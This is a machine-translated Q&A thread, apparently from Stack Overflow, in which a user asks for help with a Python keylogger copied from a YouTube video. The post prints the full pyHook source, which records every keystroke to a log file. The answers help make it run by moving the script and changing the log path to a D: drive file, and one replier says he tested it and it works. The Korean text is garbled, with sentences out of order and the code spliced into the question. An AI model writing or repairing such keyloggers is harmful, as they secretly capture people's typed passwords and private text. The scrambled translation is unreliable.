2016-10-01 13 views
0
내가이 비디오에서 키 로거 복사하고

: (https://www.youtube.com/watch?v=8BiOPBsXh0g)를하고 코드 실행 :어떤 속성 'HookManager 없다'

Traceback (most recent call last): 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module> 
     import pyHook, sys, logging, pythoncom 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module> 
     hooks_manager = pyHook.HookManager() 
    AttributeError: 'module' object has no attribute 'HookManager' 

내가 파이썬 2.7를 실행하고이 오류를 반환

import pyHook, sys, logging, pythoncom 

    file_log = 'C:\Users\User\Google Drive\Python' 

    def OnKeyboardEvent(event): 
     logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s') 
     chr(event.Ascii) 
     logging.log(10, chr(event.Ascii)) 
     return True 

    hooks_manager = pyHook.HookManager() 
    hooks_manager.KeyDown = OnKeyboardEvent 
    hooks_manager.HookKeyboard() 
    pythoncom.Pumpmessages() 

을 .11 및 Windows 컴퓨터. 문제가 무엇인지 모르겠습니다. 도와주세요. 고맙습니다.

답변

0

아직 문제가 무엇인지 확실하지 않지만 해결책을 찾았습니다. 프로그램을 HookManager.py 파일과 같은 폴더로 옮기려고하면 HookManager.py 파일이 작동합니다. 나를 위해

이 파일이었다 : C : \ Python27 \ lib 디렉토리 \ 사이트 - 패키지이 줄 프로그램이 쓸 수없는 시스템으로

file_log = 'C:\Users\User\Google Drive\Python'

잘못 pyHook

0

브로 \ 'C'드라이브에는 'D'드라이브 또는 'E'드라이브 등과 같은 다른 경로를 사용해야합니다.

file_log = 'D:\keyloggerOutput.txt' 
+0

도움을 주셔서 감사합니다. 그러나이 문제가 해결되지 않은 것으로 보입니다. 그러나 지금은 프로그램이 작동합니다. 내 질문에 대답 시간을내어 주셔서 감사합니다 – Crelic

+0

형제 난이 프로그램을 테스트하고 괜찮 았어. –